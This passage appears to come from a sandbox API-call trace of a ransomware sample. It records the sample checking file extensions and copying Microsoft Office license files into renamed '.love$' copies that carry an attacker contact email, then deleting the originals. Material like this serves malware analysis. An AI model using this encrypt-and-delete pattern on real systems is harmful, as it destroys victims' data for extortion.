dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0267.390] GetLastError () returned 0x0 [0267.390] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d45, lpOverlapped=0x0) returned 1 [0267.393] WriteFile (in: hFile=0x484, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d50, lpOverlapped=0x0) returned 1 [0267.395] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0267.395] WriteFile (in: hFile=0x484, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x108, lpOverlapped=0x0) returned 1 [0267.395] SetEndOfFile (hFile=0x484) returned 1 [0267.395] CloseHandle (hObject=0x484) returned 1 [0267.396] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.396] SetEndOfFile (hFile=0x47c) returned 1 [0267.400] CloseHandle (hObject=0x47c) returned 1 [0267.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 1 [0267.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.403] lstrlenW (lpString=".doc") returned 4 [0267.403] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.403] lstrlenW (lpString=".docx") returned 5 [0267.403] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.403] lstrlenW (lpString=".pdf") returned 4 [0267.403] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.403] lstrlenW (lpString=".xls") returned 4 [0267.403] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.403] lstrlenW (lpString=".xlsx") returned 5 [0267.403] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.403] lstrlenW (lpString=".ppt") returned 4 [0267.403] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.403] lstrlenW (lpString=".zip") returned 4 [0267.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.404] lstrlenW (lpString=".rar") returned 4 [0267.404] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.404] lstrlenW (lpString=".bz2") returned 4 [0267.404] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.404] lstrlenW (lpString=".7z") returned 3 [0267.404] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.404] lstrlenW (lpString=".dbf") returned 4 [0267.404] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.404] lstrlenW (lpString=".1cd") returned 4 [0267.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.404] lstrlenW (lpString=".jpg") returned 4 [0267.404] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.405] lstrlenW (lpString=".doc") returned 4 [0267.405] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.405] lstrlenW (lpString=".docx") returned 5 [0267.405] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.405] lstrlenW (lpString=".pdf") returned 4 [0267.405] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.405] lstrlenW (lpString=".xls") returned 4 [0267.405] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.405] lstrlenW (lpString=".xlsx") returned 5 [0267.405] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.405] lstrlenW (lpString=".ppt") returned 4 [0267.405] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.405] lstrlenW (lpString=".zip") returned 4 [0267.405] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.405] lstrlenW (lpString=".rar") returned 4 [0267.405] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.405] lstrlenW (lpString=".bz2") returned 4 [0267.405] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.406] lstrlenW (lpString=".7z") returned 3 [0267.406] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.406] lstrlenW (lpString=".dbf") returned 4 [0267.406] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.406] lstrlenW (lpString=".1cd") returned 4 [0267.406] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0267.406] lstrlenW (lpString=".jpg") returned 4 [0267.406] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.407] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0267.407] lstrlenW (lpString="MondoR_KMS_Automation-ppd.xrm-ms") returned 32 [0267.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0270.176] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=12416) returned 1 [0270.181] CloseHandle (hObject=0x47c) returned 1 [0270.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 0x220 [0270.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0270.183] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.183] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0270.187] GetLastError () returned 0x0 [0270.187] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x3080, lpOverlapped=0x0) returned 1 [0270.193] WriteFile (in: hFile=0x484, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x3090, lpOverlapped=0x0) returned 1 [0270.195] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0270.195] WriteFile (in: hFile=0x484, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x114, lpOverlapped=0x0) returned 1 [0270.195] SetEndOfFile (hFile=0x484) returned 1 [0270.196] CloseHandle (hObject=0x484) returned 1 [0270.196] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.196] SetEndOfFile (hFile=0x47c) returned 1 [0270.201] CloseHandle (hObject=0x47c) returned 1 [0270.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 1 [0270.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.204] lstrlenW (lpString=".doc") returned 4 [0270.204] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.204] lstrlenW (lpString=".docx") returned 5 [0270.204] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.205] lstrlenW (lpString=".pdf") returned 4 [0270.205] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.205] lstrlenW (lpString=".xls") returned 4 [0270.205] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.205] lstrlenW (lpString=".xlsx") returned 5 [0270.205] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.205] lstrlenW (lpString=".ppt") returned 4 [0270.205] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.205] lstrlenW (lpString=".zip") returned 4 [0270.205] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.205] lstrlenW (lpString=".rar") returned 4 [0270.205] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.205] lstrlenW (lpString=".bz2") returned 4 [0270.205] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.205] lstrlenW (lpString=".7z") returned 3 [0270.205] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.205] lstrlenW (lpString=".dbf") returned 4 [0270.205] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.206] lstrlenW (lpString=".1cd") returned 4 [0270.206] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.206] lstrlenW (lpString=".jpg") returned 4 [0270.206] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.206] lstrlenW (lpString=".doc") returned 4 [0270.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.206] lstrlenW (lpString=".docx") returned 5 [0270.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.206] lstrlenW (lpString=".pdf") returned 4 [0270.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.206] lstrlenW (lpString=".xls") returned 4 [0270.206] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.206] lstrlenW (lpString=".xlsx") returned 5 [0270.206] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.206] lstrlenW (lpString=".ppt") returned 4 [0270.206] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.206] lstrlenW (lpString=".zip") returned 4 [0270.206] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.207] lstrlenW (lpString=".rar") returned 4 [0270.207] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.207] lstrlenW (lpString=".bz2") returned 4 [0270.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.207] lstrlenW (lpString=".7z") returned 3 [0270.207] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.207] lstrlenW (lpString=".dbf") returned 4 [0270.207] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.207] lstrlenW (lpString=".1cd") returned 4 [0270.207] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0270.207] lstrlenW (lpString=".jpg") returned 4 [0270.207] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.207] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0270.207] lstrlenW (lpString="MondoR_Retail-ppd.xrm-ms") returned 24 [0270.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0270.210] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=26462) returned 1 [0270.211] CloseHandle (hObject=0x47c) returned 1 [0270.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 0x220 [0270.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0270.212] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.213] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0270.215] GetLastError () returned 0x0 [0270.215] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x675e, lpOverlapped=0x0) returned 1 [0270.219] WriteFile (in: hFile=0x484, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x6760, lpOverlapped=0x0) returned 1 [0270.561] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0270.561] WriteFile (in: hFile=0x484, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x104, lpOverlapped=0x0) returned 1 [0270.561] SetEndOfFile (hFile=0x484) returned 1 [0270.562] CloseHandle (hObject=0x484) returned 1 [0270.562] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.562] SetEndOfFile (hFile=0x47c) returned 1 [0270.621] CloseHandle (hObject=0x47c) returned 1 [0270.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 1 [0271.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.191] lstrlenW (lpString=".doc") returned 4 [0271.191] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.191] lstrlenW (lpString=".docx") returned 5 [0271.191] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.191] lstrlenW (lpString=".pdf") returned 4 [0271.191] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.191] lstrlenW (lpString=".xls") returned 4 [0271.191] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.191] lstrlenW (lpString=".xlsx") returned 5 [0271.191] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.191] lstrlenW (lpString=".ppt") returned 4 [0271.191] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.191] lstrlenW (lpString=".zip") returned 4 [0271.191] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.191] lstrlenW (lpString=".rar") returned 4 [0271.192] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.192] lstrlenW (lpString=".bz2") returned 4 [0271.192] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.192] lstrlenW (lpString=".7z") returned 3 [0271.192] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.192] lstrlenW (lpString=".dbf") returned 4 [0271.192] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.192] lstrlenW (lpString=".1cd") returned 4 [0271.192] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.192] lstrlenW (lpString=".jpg") returned 4 [0271.192] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.192] lstrlenW (lpString=".doc") returned 4 [0271.192] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.192] lstrlenW (lpString=".docx") returned 5 [0271.192] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.192] lstrlenW (lpString=".pdf") returned 4 [0271.192] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.193] lstrlenW (lpString=".xls") returned 4 [0271.193] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.193] lstrlenW (lpString=".xlsx") returned 5 [0271.193] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.193] lstrlenW (lpString=".ppt") returned 4 [0271.193] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.193] lstrlenW (lpString=".zip") returned 4 [0271.193] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.193] lstrlenW (lpString=".rar") returned 4 [0271.193] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.193] lstrlenW (lpString=".bz2") returned 4 [0271.193] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.193] lstrlenW (lpString=".7z") returned 3 [0271.193] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.193] lstrlenW (lpString=".dbf") returned 4 [0271.193] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.193] lstrlenW (lpString=".1cd") returned 4 [0271.193] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0271.193] lstrlenW (lpString=".jpg") returned 4 [0271.193] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.194] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0271.194] lstrlenW (lpString="MondoR_Subscription2-ul-oob.xrm-ms") returned 34 [0271.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0271.450] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11616) returned 1 [0271.450] CloseHandle (hObject=0x534) returned 1 [0271.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 0x220 [0271.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0271.452] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.452] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 